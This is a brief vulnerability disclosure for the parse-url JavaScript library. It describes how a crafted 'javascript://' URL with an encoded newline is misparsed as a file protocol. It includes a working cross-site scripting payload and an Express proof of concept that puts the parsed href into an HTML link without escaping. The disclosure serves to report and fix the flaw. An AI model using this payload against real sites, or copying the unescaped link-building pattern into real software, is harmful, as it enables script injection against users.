Description

A URL like javascript://e[xamp]le.com%0aalert(1) will get incorrectly recognised as a file: protocol. It has nothing to do with escaping as the common characters such as &, >, <, " and ' are not present in the URL

Proof of Concept

const parseUrl = require("parse-url"); 
const express = require('express');
const app = express();

parsed = parseUrl("javascript://e[xamp]le.com%0aalert(1)");
console.log(parsed);

app.get('/', (req, res) => {
    if (parsed.protocol !== "javascript") {
        res.send("<a href=\'" + parsed.href + "\'>CLICK ME!</a>")
    }
})

app.listen(9999);

Impact

XSS